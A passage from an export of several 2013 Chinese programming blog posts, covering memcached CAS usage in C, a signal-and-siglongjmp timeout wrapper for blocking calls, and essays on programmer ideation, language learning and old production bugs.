memcached_create(NULL);\nif (NULL == memc) {\nprintf(\u0026ldquo;memcached_create error\\n\u0026rdquo;);\nreturn -1;\n}\n… …\nrc = memcached_behavior_set(memc, MEMCACHED_BEHAVIOR_SUPPORT_CAS, 1);\nif (rc != MEMCACHED_SUCCESS) {\nprintf(\u0026ldquo;memcached_behavior_set support cas error: %s\\n\u0026rdquo;,\nmemcached_strerror(memc, rc));\nreturn -1;\n}\n/* pack the component one by one */\nint ret = 0;\nint i = 0;\nfor (i = 0; i \u0026lt; sizeof(component_order)/sizeof(component_order[0]); i++) {\nret = pack_component(memc, component_order[i]);\nif (ret == 0) {\nprintf(\u0026ldquo;pack component [%d] ok\\n”, component_order[i]);\n} else if (ret == 1) {\nprintf(\u0026ldquo;pack component [%d] exists\\n”, component_order[i]);\n} else {\nprintf(\u0026ldquo;other error occurs\\n\u0026rdquo;);\nreturn -1;\n}\ngetchar();\n}\nreturn 0;\n}\nint\npack_component(memcached_st *memc, int i)\n{\nmemcached_return_t rc = MEMCACHED_SUCCESS;\nuint32_t mask = 1 \u0026laquo; (i – 1);\nuint32_t value_added = 1 \u0026laquo; (i – 1);\nchar value_added_str[11] = {0};\nuint32_t value = 0;\nchar *pvalue = NULL;\nsize_t value_len = 0;\nuint32_t flags = 0;\nwhile(1) {\npvalue = memcached_get(memc, product_id, strlen(product_id),\n\u0026amp;value_len, \u0026amp;flags, \u0026amp;rc);\nif (!pvalue) {\nif (rc == MEMCACHED_NOTFOUND) {\nprintf(\u0026ldquo;componet [%d] – memcached_get not found product key: [%s]\\n\u0026rdquo;,\ni, product_id);\nmemset(value_added_str, 0, sizeof(value_added_str));\nsprintf(value_added_str, \u0026ldquo;%u\u0026rdquo;, value_added);\nrc = memcached_add(memc, product_id, strlen(product_id), value_added_str,\nstrlen(value_added_str), 1000, 0);\nif (rc == MEMCACHED_DATA_EXISTS) {\nprintf(\u0026ldquo;componet [%d] – memcached_add key[%s] exist\\n\u0026rdquo;, i, product_id);\npvalue = memcached_get(memc, product_id, strlen(product_id),\n\u0026amp;value_len, \u0026amp;flags, \u0026amp;rc);\nif (!pvalue) return -1;\n} else if (rc != MEMCACHED_SUCCESS) {\nprintf(\u0026ldquo;componet [%d] – memcached_add error: %s, [%d]\\n\u0026rdquo;,\ni, memcached_strerror(memc, rc), rc);\nreturn -1;\n} else {\nprintf(\u0026ldquo;componet [%d] – memcached_add key[%s] successfully,\u0026rdquo;\n\u0026quot; its value = %u, cas = %llu\\n\u0026rdquo;,\ni,product_id,\nvalue_added, (memc-\u0026gt;result).item_cas);\nreturn 0;\n}\n} else {\nprintf(\u0026ldquo;componet [%d] – memcached_get error: %s, %d\\n\u0026rdquo;,\ni, memcached_strerror(memc, rc), rc);\nreturn -1;\n}\n}\nvalue = atoi(pvalue);\nprintf(\u0026ldquo;componet [%d] – memcached_get value = %u, cas = %llu\\n\u0026rdquo;,\ni, value, (memc-\u0026gt;result).item_cas);\nif (value \u0026amp; mask) {\nfree(pvalue);\nreturn 1;\n} else {\nuint64_t cas_value = 0;\ncas_value = (memc-\u0026gt;result).item_cas;\nmemset(value_added_str, 0, sizeof(value_added_str));\nsprintf(value_added_str, \u0026ldquo;%d\u0026rdquo;, value_added + value);\nrc = memcached_cas(memc, product_id, strlen(product_id),\nvalue_added_str, strlen(value_added_str),\n1000, 0, cas_value);\nif (rc != MEMCACHED_SUCCESS) {\nprintf(\u0026ldquo;componet [%d] - memcached_cas error = %d, %s\\n\u0026rdquo;,\ni, rc, memcached_strerror(memc, rc));\nfree(pvalue);\n} else {\nprintf(\u0026ldquo;componet [%d] - memcached_cas ok\\n\u0026rdquo;, i);\nfree(pvalue);\nif (bit_count(value_added + value) == component_in_total) {\nrc = memcached_delete(memc, product_id, strlen(product_id), 0);\nif (rc != MEMCACHED_SUCCESS) {\nprintf(\u0026ldquo;memcached_delete error: %s\\n\u0026rdquo;,\nmemcached_strerror(memc, rc));\nreturn -1;\n} else {\nprintf(\u0026ldquo;memcached_delete key: %s ok\\n\u0026rdquo;, product_id);\n}\n}\nreturn 0;\n}\n}\ngetchar();\n}\nreturn 0;\n}\n代码看起来较多，主要是要考虑各种异常情况。\n我们可以通过先后启动两个pack_sys来验证程序逻辑的正确性：\n窗口1：\n$\u0026gt; pack_sys\ncomponet [2] – memcached_get not found product key: [nexus5]\ncomponet [2] – memcached_add key[nexus5] successfully, its value = 2, cas = 0\npack component [2] ok\n窗口2：\n$\u0026gt; pack_sys\ncomponet [2] – memcached_get value = 2, cas = 54\npack component [2] exists\n若两个窗口继续交替执行，一种可能的结果如下：\n窗口1：\n$\u0026gt; pack_sys\ncomponet [2] – memcached_get not found product key: [nexus5]\ncomponet [2] – memcached_add key[nexus5] successfully, its value = 2, cas = 0\npack component [2] ok\ncomponet [3] – memcached_get value = 2, cas = 54\ncomponet [3] - memcached_cas ok\npack component [3] ok\ncomponet [1] – memcached_get value = 6, cas = 55\ncomponet [1] - memcached_cas ok\npack component [1] ok\ncomponet [2] – memcached_get value = 23, cas = 57\npack component [2] exists\ncomponet [5] – memcached_get not found product key: [nexus5]\ncomponet [5] – memcached_add key[nexus5] successfully, its value = 16, cas = 0\npack component [5] ok\ncomponet [4] – memcached_get value = 16, cas = 59\ncomponet [4] - memcached_cas ok\npack component [4] ok\n窗口2：\n$\u0026gt; pack_sys\ncomponet [2] – memcached_get value = 2, cas = 54\npack component [2] exists\ncomponet [3] – memcached_get value = 7, cas = 56\npack component [3] exists\ncomponet [1] – memcached_get value = 7, cas = 56\npack component [1] exists\ncomponet [2] – memcached_get value = 7, cas = 56\npack component [2] exists\ncomponet [5] – memcached_get value = 7, cas = 56\ncomponet [5] - memcached_cas ok\npack component [5] ok\ncomponet [4] – memcached_get value = 23, cas = 57\ncomponet [4] - memcached_cas ok\nmemcached_delete key: nexus5 ok\npack component [4] ok\n全部Demo代码已经上传到github上了，感兴趣可以去下载。\n【其它】\n* 我用的是libmemcached 1.0.17版本，memcached 1.4.15版本。\n* libmemcached启用cas后，只能在ascii模式下工作，在binary下会得到如下错误，应该是libmemcached的bug；\nmemcached_cas error, SERVER END, 21\n* libmemcached的官方文档中某些内容似乎已经落伍了，与代码的实际行为已经不一致了，参考manual的时候要小心，最好能对着源码看。\n* 关于问题调试，可以考虑通过-vv命令行选项打开memcached的详细日志，这样你就可以看到memcached的一举一动，特别是涉及到binary protocol时，这样调试更有效率。\n","permalink":"https://tonybai.com/2013/11/01/a-case-of-applying-memcached-cas/","summary":"\u003cp\u003e近期收到客户一个需求，我将该需求转述为下面这个等价的问题。\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e【问题】\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e* 有一个产品包装系统_S_，为某种产品_P_提供产品包装服务;\u003c/p\u003e\n\u003cp\u003e* 系统_S_由若干个处理节点组成，每个节点都可以单独处理组件;\u003c/p\u003e","title":"Memcached CAS应用一例"},{"content":"有一段时间，我完全沉迷于在脑海中想象机械绘图和设计新机型所带来的极致享受，这是我一生中有过的最完美的精神愉悦。创造的灵感像泉水般源 源不断 地涌出，我遇到的唯一困难就是必须设法牢牢抓住它们。对我来说，构思中的设备零件都绝对是真实的，所有细节都触手可及，甚至最细微的标识和磨损状态也是如 此。想象发动机在持续不断地运转，仿佛一道迷人的风景呈现在面前，令我欣喜若狂。\n— 尼古拉. 特斯拉\n看完上面这段特斯拉回忆录中的自述后，我们不禁惊叹于特斯拉超乎寻常的大脑构思能力。读完特斯拉的回忆录《被世界遗忘的天才：特斯拉回忆录》后， 我完完全全相信特斯拉是一个不折不扣的“外星人”，就是像克拉克.肯特那样被送到地球的“超人”。不同于超人的是他给地球带来的不是钢铁般的身躯和无比的 正义，而是超级智慧。他的所思所想所做所为完全超越了那个时代，甚至是当今的时代。作为程序员，我们不敢奢望能拥有特斯拉那样的超级构思力，但拥有一个良 好的构思力对于程序员来说还是蛮重要的。\n【什么是构思力】\n就我自己的认知和经验来说，构思力是一种“在大脑中构造事物的能力”，构造出的事物不是静态的，它在你的构思下不断演化，像是一部电影。日常生活工作中， 绝大部分人都是被动构造，当收到外界的输入时，包括影像、声音、感悟等时，在大脑中应激性的出现一些事物和场景。这种构思的持续时间很短，从长度上来说， 都是微电影，并且很难抓住并转换为现实，价值不大。真正的有价值的构思应该是主动、有意识、有目的地在大脑中构造。因此构思力常用于在创造、创作以及发明 的过程中，各个行业莫不如此。\n【构思 vs. 设计】\n构思与设计都需要经过脑力完成，甚为相似，难于区分，但个人觉得还是有些许差别。就就像特斯拉回忆录里描述的那种情形，我们称之为构思。构思强调事物从无到有， 都在脑中完成，是一种全脑演算。有时就是一个闪念，瞬间迸发出来，很迅速，并可被快速捕捉到，构思者往往会变得热情高涨，并在短时间内完成主体设计和实 现。构思往往一次成型，多用于整体或全局设计，是真正设计阶段开始的前置条件。构思过程会将事物的全貌在大脑中构造出来；将关键的技术难点在脑中完成突 破，形成思路；会将事物与外围接口在脑中进行对接；会对创造出来的事物在脑中进行初步的验证，证明其正确性。\n设计则会将前期构思的事物分解并细化，落于纸面，或画出各种图形，多是渐进和迭代的；有时用作局部优化。\n因此可以看出，构思是更高层次的设计。\n【程序员与构思】\n程序员的日常工作与创造关系紧密，而“创新”则离不开构思。哪些工作属于构思范畴呢？目前看来比例不多，在目前这个网络四通八达发达，搜索引擎智能强大的 时代，你要的解决方案基本都能在Internet上找到，只是将现成的方案挪到你的solution中，我觉得算不上构思，顶多是设计，设计如何将现有的 东西组合起来。\n构思的结果是崭新的方案或是基于已有方案的优化改进，是有脑力参与的事物演化。但构思不是必须凭空创造，多是站在巨人的肩膀上，是个借鉴再创新的过程。构思有时候可能有“重新发明轮子的味道“，但重造轮子不一定不好。\n构思可大可小，Linus Torvalds设计并实现Git、Matz发明Ruby等属于大构思，你将某个算法的性能提升20%可算作小构思。\n在软件开发领域，构思不是技术领域专有的，业务流程或过程的创新都与构思不无关系。\nNon-trivial的开源项目多是构思的结果。我个人在开源lcut, cbehave, buildc时也是深有体会的。当大脑中构思演化出目标图景时，人会变得极为亢奋，软件的主体架子在短短几个小时或一两天内就完成了。很多著名的开源项目也是如此。\n【影响构思力的几个因素】\n构思力高低要看大脑的活力。个人理解影响构思力高低的几个因素：\n* 脑部成像构造能力\n就像特斯拉那样，每个人脑部都有一定的事物成像能力，比如提到神舟发射，你脑中会呈现某种画面；再比如提到Google数据中心，你脑中又会出现何种场 景。当然这些例子还都是简单的事物还原能力。当提到让你改进神舟飞船或降低Google数据中心能耗时，你的脑中的画面会有怎样的变化呢？能否变化或能否 沿着对应的问题演化能反映出构思能力的高低。当然这是需要有领域知识、眼光和技能的。改进的神舟飞船与降低了能耗的Google数据中心是不存在的，需要 你使用纯粹的空想构造能力对其进行演进的。训练你的脑部构造能力，要求你日常勤于用脑，勤于思考，经常将各种信号输入（语言、声音、感觉）进行转换，在脑 中尝试成像，减少视觉信号的输入。记得小时候印象最深的一件事就是一边听着单田芳老师的评书，一边在大脑中构造对应的场面、人物形象和情节，我想这对我大 脑的构思成像能力是大有裨益的。\n* 知识与眼光的广博\n凭空的构思创造毕竟是少数，而多是站在巨人的肩膀上。这要求你对所属领域甚是是相关领域有一定的了解和认知，这样在构思时，才能如特斯拉那样思如泉涌，思想的碰撞火花四溅。这就像拍摄电影，需要在日常积累各种素材和技法，兼容并序。\n* 对问题域的透彻理解\n构思多是行业领域相关的，构思的结果都是隶属于某个领域或行业的。构思出的方案是为了解决一个明确的问题或满足特定需求，因此是否对问题有透彻的理解将直接影响构思过程和结果，以及你构思力的发挥。\n以上关于构思力的论述感觉还不够系统成熟，仅是一些主观心得体会罢了，供参考并欢迎交流。\n","permalink":"https://tonybai.com/2013/10/27/some-experience-about-ideation-of-programmer/","summary":"\u003cp\u003e\u003cem\u003e有一段时间，我完全沉迷于在脑海中\u003cstrong\u003e想象\u003c/strong\u003e机械绘图和设计新机型所带来的极致享受，这是我一生中有过的最完美的精神愉悦。创造的灵感像泉水般源 源不断 地涌出，我遇到的唯一困难就是必须设法牢牢抓住它们。对我来说，\u003cstrong\u003e构思\u003c/strong\u003e中的设备零件都绝对是真实的，所有细节都触手可及，甚至最细微的标识和磨损状态也是如 此。想象发动机在持续不断地运转，仿佛一道迷人的风景呈现在面前，令我欣喜若狂。\u003c/em\u003e\u003cbr\u003e\n                                                                                                        \u003cem\u003e— \u003ca href=\"http://en.wikipedia.org/wiki/Nikola_Tesla%E2%80%8E\"\u003e尼古拉. 特斯拉\u003c/a\u003e\u003c/em\u003e\u003c/p\u003e","title":"关于程序员的构思能力的一些体会"},{"content":"我们产品中的一个子模块在进行Oracle实时数据库查询时，常常因数据库性能波动或异常而被阻塞在OCI API的调用上，为此我们付出了“惨痛”的代价。说来说去还是我们的程序设计的不够完善，在此类阻塞型函数调用方面缺少微小粒度的超时机制。\n调用阻塞多发生在I/O操作（磁盘、网络、低速设备）、第三方API调用等方面。对于文件/网络I/O操作，我们可利用在非阻塞文件描述符上select /poll的超时机制来替代针对阻塞型文件描述符的系统调用；但在第三方API方面，多数时候是无法用select/poll来进行超时的，我们可以选择 另外一种方法：利用setjmp和longjmp的非局部跳转机制来为特定阻塞调用添加超时机制。其原理大致是：利用定时器(alarm、setitimer)设置超时时间，在SIGALRM的handler中利用longjmp跳到阻塞型调用之前，达到超时跳出阻塞型函数调用的效果。同时这种方法通用性更好些。\n这个机制实现起来并不难，但有些细节还是要考虑周全，否则很容易出错。我们的产品是需要运行在Linux和Solaris两个平台下的，因此机制的实现还要考虑移植性的问题。下面简要说说在实现这一机制过程中出现的一些问题与解决方法。\n一、第一版\n考虑到阻塞型函数的原型各不相同，且我们的产品中对阻塞调用有重试次数的要求，因此打算将这个机制包装成一个宏，大致是这个模样：\n#define add_timeout_to_func(func, n, interval, ret, …) \\…\n其中func是函数名；n是重试的次数；interval是超时的时间，单位是秒；ret是函数成功调用后的返回值，若失败，也是这个宏的返回值。\n我们可以像下面这样使用这个宏：\n/* example.c */\nint\nmain()\n{\n#define MAXLINE 1024\nchar line[MAXLINE];\nint ret = 0;\nint try_times = 3;\nint interval = 1000;\nadd_timeout_to_func(read, try_times, interval, ret, STDIN_FILENO, line, MAXLINE);\nif (ret == E_CALL_TIMEOUT) {\nprintf(\u0026ldquo;invoke read timeouts for 3 times\\n\u0026rdquo;);\nreturn -1;\n} else if (ret == 0) {\nprintf(\u0026ldquo;invoke read ok\\n\u0026rdquo;);\nreturn 0;\n} else {\nprintf(\u0026ldquo;add_timeout_to_func error = %d\\n\u0026rdquo;, ret);\n}\n}\nadd_timeout_to_func中为阻塞型函数添加的超时机制是利用setjmp/longjmp与信号的处理函数合作完成的。\n/* timeout_wrapper.h */\n#include \u0026lt;setjmp.h\u0026gt; #include \u0026lt;stdarg.h\u0026gt; #include \u0026lt;unistd.h\u0026gt; #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;signal.h\u0026gt; #include \u0026lt;string.h\u0026gt; #include \u0026lt;errno.h\u0026gt;\nextern volatile int invoke_count; extern jmp_buf invoke_env;\nvoid timeout_signal_handler(int sig); typedef void (*sighandler_t)(int); #define E_CALL_TIMEOUT (-9)\n#define add_timeout_to_func(func, n, interval, ret, \u0026hellip;) \\ { \\ invoke_count = 0; \\ sighandler_t h = signal(SIGALRM, timeout_signal_handler); \\ if (h == SIG_ERR) { \\ ret = errno; \\ goto end; \\ } \\ \\ if (sigjmp(invoke_env) != 0) { \\ if (invoke_count \u0026gt;= n) { \\ ret = E_CALL_TIMEOUT; \\ goto err; \\ } \\ } \\ \\ alarm(interval);\\ ret = func(__VA_ARGS__);\\ alarm(0); \\ err:\\ signal(SIGALRM, h);\\ end:\\ ;\\ }\n/* timeout_wrapper.c */\n#include \u0026ldquo;timeout_wrapper.h\u0026rdquo;\nvolatile int invoke_count = 0;\njmp_buf invoke_env;\nvoid\ntimeout_signal_handler(int sig)\n{\ninvoke_count++;\nlongjmp(invoke_env, 1);\n}\n编译运行这个程序，分别在Solaris、Linux下运行，遗憾的是两个平台下都以失败告终。\n先说一下在Linux下的情况。在Linux下，程序居然不响应第二次SIGALRM信号了。通过strace也可以看出，当alarm被第二次调用后， 系统便阻塞在了read上，没有实现为read增加超时机制的目的。原因何在呢？我在《The Linux Programming Interface》一书中找到了原因。原因大致是这样的，我们按照代码的执行流程来分析：\n* add_timeout_to_func宏首先设置了信号的handler，保存了env信息(setjmp)，调用alarm设置定时器，然后阻塞在read调用上；\n* 1s后，定时器信号SIGALRM产生，中断发生，代码进入信号处理程序，即timeout_signal_handler; Linux上的实现是当进入处理程序时，内核会自动屏蔽对应的信号(SIGALRM)以及此时act.sa_mask字段中的所有信号；在离开 handler后，内核取消这些信号的屏蔽。\n* 问题在于我们是通过longjmp调用离开handler的，longjmp对应的invoke_env是否在setjmp时保存了这些被屏蔽的信号呢？ 答案是：在Linux上没有。这样longjmp跳到setjmp后也就无法恢复对SIGALRM的屏蔽；当再次产生SIGALRM信号时，程序将无法处 理，也就一直阻塞在read调用上了。\n解决方法：将setjmp/longjmp替换为sigsetjmp和siglongjmp，后面这组调用在sigsetjmp时保存了屏蔽信号，这样在 siglongjmp返回时可以恢复到handler之前的信号屏蔽集合，也就是说SIGALRM恢复自由了。在Solaris 下，setjmp/longjmp是可以恢复被屏蔽的信号的。\n再说说在Solaris下的情况。在Solaris下，程序在第二次SIGALRM到来之际，居然退出了，终端上显示：“闹钟信号”。这是因为在 Solaris下，通过signal函数设置信号的处理handler仅是一次性的。在应对完一次信号处理后，信号的handler被自动恢复到之前的处 理策略设置，对于SIGALRM来说，也就是程序退出。解决办法：通过多次调用signal设置handler或通过sigaction来长效设置 handler。考虑到移植性和简单性，我们选择了sigaction。在Linux平台下，signal函数底层就是用sigaction实现的，是简洁版的sigaction，因此它的设置不是一次性的，而是长效的。\n二、第二版\n综上问题的修改，我们有了第二版代码。\n/* timeout_wrapper.h */\nextern volatile int invoke_count;\nextern sigjmp_buf invoke_env;\nvoid timeout_signal_handler(int sig);\ntypedef void sigfunc(int sig);\nsigfunc *my_signal(int signo, sigfunc* func);\n#define E_CALL_TIMEOUT (-9)\n#define add_timeout_to_func(func, n, interval, ret, …) \\\n{ \\\ninvoke_count = 0; \\\nsigfunc *sf = my_signal(SIGALRM, timeout_signal_handler); \\\nif (sf == SIG_ERR) { \\\nret = errno; \\\ngoto end; \\\n} \\\n\\\nif (sigsetjmp(invoke_env, SIGALRM) != 0) { \\\nif (invoke_count \u0026gt;= n) { \\\nret = E_CALL_TIMEOUT; \\\ngoto err; \\\n} \\\n} \\\n\\\nalarm(interval); \\\nret = func(__VA_ARGS__);\\\nalarm(0); \\\nerr:\\\nmy_signal(SIGALRM, sf); \\\nend:\\\n;\\\n}\n/* timeout_wrapper.c */\nvolatile int invoke_count = 0;\nsigjmp_buf invoke_env;\nvoid\ntimeout_signal_handler(int sig)\n{\ninvoke_count++;\nsiglongjmp(invoke_env, 1);\n}\nsigfunc *\nmy_signal(int signo, sigfunc *func)\n{\nstruct sigaction act, oact;\nact.sa_handler = func;\nsigemptyset(\u0026amp;act.sa_mask);\nact.sa_flags = 0;\nif (signo == SIGALRM) {\n#ifdef SA_INTERRUPT\nact.sa_flags |= SA_INTERRUPT;\n#endif\n} else {\n#ifdef SA_RESTART\nact.sa_flags |= SA_RESTART;\n#endif\n}\nif (sigaction(signo, \u0026amp;act, \u0026amp;oact) \u0026lt; 0)\nreturn SIG_ERR;\nreturn oact.sa_handler;\n}\n这里从《Unix高级环境编程》中借了一段代码，就是那段my_signal的实现。这样修改后，程序在Linux和Solaris下工作都蛮好的。但目前唯一的缺点就是超时时间粒度太大，alarm仅支持秒级定时器，我们至少要支持毫秒级，接下来我们要换掉alarm。\n三、第三版\nsetitimer与alarm是同出一门，共享一个定时器的。不同的是setitimer可以支持到微秒级的粒度，因此我们就用setitimer替换alarm，第三版仅改动了add_timeout_to_func这个宏：\n#define add_timeout_to_func(func, n, interval, ret, …) \\\n{ \\\ninvoke_count = 0; \\\nsigfunc *sf = my_signal(SIGALRM, timeout_signal_handler); \\\nif (sf == SIG_ERR) { \\\nret = errno; \\\ngoto end; \\\n} \\\n\\\nif (sigsetjmp(invoke_env, SIGALRM) != 0) { \\\nif (invoke_count \u0026gt;= n) { \\\nret = E_CALL_TIMEOUT; \\\ngoto err; \\\n} \\\n} \\\n\\\nstruct itimerval tick; \\\nstruct itimerval oldtick; \\\ntick.it_value.tv_sec = interval/1000; \\\ntick.it_value.tv_usec = (interval%1000) * 1000; \\\ntick.it_interval.tv_sec = interval/1000; \\\ntick.it_interval.tv_usec = (interval%1000) * 1000; \\\n\\\nif (setitimer(ITIMER_REAL, \u0026amp;tick, \u0026amp;oldtick) \u0026lt; 0) { \\\nret = errno; \\\ngoto err; \\\n} \\\n\\\nret = func(__VA_ARGS__);\\\nsetitimer(ITIMER_REAL, \u0026amp;oldtick, NULL); \\\nerr:\\\nmy_signal(SIGALRM, sf); \\\nend:\\\n;\\\n}\n至此，一个为阻塞型函数调用添加的超时机制的雏形基本实现完毕了，但要放在产品代码里还需要更细致的打磨。至少目前只是在单进程单线程中跑过，而且要求每个函数中只能调用add_timeout_to_func一次，否则就会有编译错误。\n以上完整代码我都放到github上的experiments repository中了，有兴趣的朋友可以下载细看。\n","permalink":"https://tonybai.com/2013/10/25/add-timeout-to-blocking-function-call/","summary":"\u003cp\u003e我们产品中的一个子模块在进行\u003ca href=\"http://tonybai.com/2009/07/31/a-bug-of-oracle-oci-lib/\"\u003eOracle\u003c/a\u003e实时数据库查询时，常常因数据库性能波动或异常而被阻塞在\u003ca href=\"http://tonybai.com/2009/07/31/a-bug-of-oracle-oci-lib/\"\u003eOCI API\u003c/a\u003e的调用上，为此我们付出了“惨痛”的代价。说来说去还是我们的程序设计的不够完善，在此类阻塞型函数调用方面缺少微小粒度的超时机制。\u003c/p\u003e","title":"为阻塞型函数调用添加超时机制"},{"content":"Learn at least one new language every year.\n— Andy Hunt and Dave Thomas\n自己一直是“每年学习一门新语言”的忠实拥趸，曾先后认真地学习了Haskell、Common Lisp、Python、Go等语言，对Prolog、Scala、Erlang、Lua、PHP也有一定了解。但几年下来，只有Python一门语言算 是真正被留在我的大脑里，用在了工作中。其他那几门语言留下来的只是一些思想了。这似乎符合了Andy Hunt和Dave Thomas在《程序员修炼之道》中对于这一实践目的的阐述：“学会用多种方式解决问题，扩展我们的视野，避免思路僵化和停滞不前”^_^。\n即便是残存的思想，其实也并不深刻。要真正会运用新思维并非那么简单。一门编程语言从入门到精通，至少要经历学语法、做实践、用idioms（写出地道的代码）三个阶段。这让我深刻的感悟到：不以使用为目的的语言学习，都是在浪费生命！\n有精力多学习些语言自然很好，我迫切期待能拥有一个像“七龙珠”中孙悟空那样的“精神时光屋”呢。但现实中，人的精力是有限的，而我们要面对的计算机科学领域中的知识、技能以及问题却似乎是无限的。因此在“每年至少学习一门新语言”这一实践上，建议不要过于教条。 从编程语言自身来看，范型(Paradigm)是影响语言思维差异的主要因素，而编程语言的范型有限，主流的也就那么几种：命令式（过程式）、函数式、逻 辑式、面向对象等。每种范型的背后都有几种、十几种甚至几十种语言，我们其实没有必要都去学。从拓展视野的角度去说，从每种主流范式中找到一两门典型的语 言去学习就可以了。比如命令式的，我们可以选择C；函数式我们选择Haskell；逻辑式的选择Prolog；面向对象的选择Java等。\n即便是从每个范型中挑出一门，你要付出的精力依旧不少，我们还要考虑其实用性：要以使用为目的。如果能将其用在工作中，天天与你相伴，被他人接受，自然最 好；退而求其次，你能找到一两个开源项目，并参与其中也是可以的，至少可以让你保持手热；如果这两点都无法做到，仅仅是凭借个人的热情与坚持，那是不会持 久的，若干时间后，你就会对其生疏，可能连基本的\u0026quot;Hello World\u0026quot;语法都记不得了。不过这个年头，思想也不能不要。在有剩余精力的前提下，挑选些牛人们极力“鼓吹”的语言，吸收一下其思想精华，说不定哪天就 能用得上，让自己和大家都感觉你很NB，抬高一下自己的身价^_^。记住：编程语言也是要拼爹的，系出名门的语言(诸如Go、Dart等)自然得到更多的青睐、使用和推广，出位的几率也就高出许多，尤其是在目前新编程语言百花齐放的阶段。因此在选择有思想的新语言时，最好在这些名门之后中做优选。\n这个时代喜欢“专家”，因此我们在一两门语言上务必要做到“精专”，这是会给你带来黄油和面包的语言。要专到什么程度呢？我有一个同事，什么问题都用C解决。他甚至为此写了个不小的基础框架，所有业务问题的Code放在框架中被回调即可，即便是这个问题用Python实现只需几行代码。\n计算机科学的研究核心是什么？我想肯定不是编程语言，就好比社会科学研究的核心不是人类语言一样。我比较欣赏这样的观点：作为程序员而言，最重要的是去创造，而不是研究。我们应更多的利用已经掌握的语言解决现实中的问题。做 编程语言研究的人可能要了解各种语言的特点与实现方式，但对于大多数的程序员来说，其实我们只需要关注问题域：做底层平台开发的，关注机器模型、通信原理 以及OS原理和实现细节；做算法的，很荣幸，那才是正统的程序设计的核心；前端攻城师则更多关注用户的体验。而在这些解决实际问题的过程中，我们更多采用 的是“制式”的编程语言。即做平台开发的，一般用C，C++等系统编程语言，更多的考虑的是性能；做前端开发的，PHP/JavaScript不可或缺。 我们要考虑的是如何利用这些制式的编程语言去解决问题，而在这些制式语言上，我们要做到精通。\n从新兴语言中借鉴新思想，然后在旧语言中实现新语言的特性，其实更多是在旧语言中实现了某 种语法糖，你爱吃，不代表其他人也理解也爱吃，还容易被人误认为是“炫技”。如果你是技术负责人，且经过评估，新语言十分适合这个问题域，那莫不入直接引 入这门语言，让大家都能使用到这门语言的新思想、新特性。\n辩证的说，任何一种编程语言都有其利与弊，比如Haskell，纯函数式语言，变量不能改变，无状态，对并行处理具有天然的适应性，但在处理基本IO时却要编写难于理解的monad；而在命令式语言中，这种IO处理简直简单的不得了。\n关于函数式语言，个人感觉未来若干年内仍难以大行其道，建议还是跟上命令式语言的演化主线吧。\n跨越问题域学习语言，通常收获不大。一个做平台服务端，用惯了C的资深程序员，让他去学PHP写前端代码，估计是无法迸发出任何火花的。\n以上是自己这些年关于编程语言学习的一些体会，比较零散，但希望能有帮助。\n","permalink":"https://tonybai.com/2013/10/22/some-experience-about-learning-programming-language/","summary":"\u003cp\u003e\u003cem\u003eLearn at least one \u003cem\u003enew language every year\u003c/em\u003e.\u003cbr\u003e\n                                              — Andy Hunt and Dave Thomas\u003c/em\u003e\u003c/p\u003e\n\u003cp\u003e自己一直是“每年学习一门新语言”的忠实拥趸，曾先后认真地学习了\u003ca href=\"http://tonybai.com/2010/11/14/the-chinese-translation-project-for-programming-in-haskell/\"\u003eHaskell\u003c/a\u003e、\u003ca href=\"http://tonybai.com/2011/06/21/hello-common-lisp/\"\u003eCommon Lisp\u003c/a\u003e、\u003ca href=\"http://tonybai.com/2013/07/09/an-implementation-of-python-commandline-variables/\"\u003ePython\u003c/a\u003e、\u003ca href=\"http://tonybai.com/2012/08/17/hello-go/\"\u003eGo\u003c/a\u003e等语言，对\u003ca href=\"http://tonybai.com/2012/05/08/translate-seven-languages-in-seven-weeks/\"\u003eProlog\u003c/a\u003e、\u003ca href=\"http://www.scala-lang.org/\"\u003eScala\u003c/a\u003e、\u003ca href=\"http://www.erlang.org/\"\u003eErlang\u003c/a\u003e、\u003ca href=\"http://www.lua.org/\"\u003eLua\u003c/a\u003e、\u003ca href=\"http://php.net/\"\u003ePHP\u003c/a\u003e也有一定了解。但几年下来，只有\u003ca href=\"http://www.python.org/\"\u003ePython\u003c/a\u003e一门语言算 是真正被留在我的大脑里，用在了工作中。其他那几门语言留下来的只是一些思想了。这似乎符合了Andy Hunt和Dave Thomas在《\u003ca href=\"http://www.douban.com/subject/1152111\"\u003e程序员修炼之道\u003c/a\u003e》中对于这一实践目的的阐述：“学会用多种方式解决问题，扩展我们的视野，避免思路僵化和停滞不前”^_^。\u003c/p\u003e","title":"关于编程语言学习的一些体会"},{"content":"2002年的Bug A与2008年的Bug B同时穿越到2013年，并在某个场合相遇了。\n上周六，项目组本应以一个愉快的心情结束一天的工作的，但一个2002年的Bug A与另外一个2008年的Bug B同时穿越时空来到了2013年，并且恰恰在那时那刻（下班前）相遇了，于是项目组由放松变成了忙碌，由愉快变成了紧张，17：30的下班点也因此延迟到了凌晨1：30。\nBug A来源于2002年我们发布给客户的一版客户端API，严格来说称其为Bug不免有些冤，它只是遇到Bug B时才会被触发，其只是在处理机制上缺少一些容错的考虑罢了。Bug B才是名副其实的Bug，居然明目张胆地违反协议，擅自在登录应答包的Body尾部补了一个字节的“脏数据“，导致使用我们客户端API的某企业短信通知系统出现故障。\n关于这次的“故障”，我想感慨的不是这次的Bug有多么的诡异难找，而是下面这几点：\n* 生产环境中场景的复杂性与多样性\n任你用例再多，测试人员经验再丰富，脑力再强大，也很难设想出如此之情形。往往我们在模拟环境中测试的都很好，开发和测试人员都手拍胸脯保证说：“没问题了”。但一到生产环境中，问题就像滚雪球一样越来越多，弄得大家焦头烂额。究其源头还是在开发人员这里，开发人员是第一责任人。已经离职的制造出这两个Bug的“前辈们“肯定不会想到，他们的Bug居然穿越到2013年相遇了，否则我相信他们在当时一定会认真对待代码的。\n* Bug是藏不住的\n通过此例可以让我们看到：Bug终有一天是会暴露的，是藏不住的。这“潜伏”了10多年的问题不也在这次事件中暴露出来了吗。所以说我们写代码的时候，一定要心中有“追求0bug”的理想和目标，严格要求自己和自己的代码，采用各种手段，如代码评审、单元测试、持续集成、自动化的模拟环境验收测试等对所写代码进行“残酷”的打磨和考验，让Bug遛到生产环境的机会尽可能地小。\n* 版本的变更管理有漏洞\n这又是一次在产品升级后导致的“故障”，原因在于没能完整的识别出这次升级带来的所有软件变更。其少引发Bug 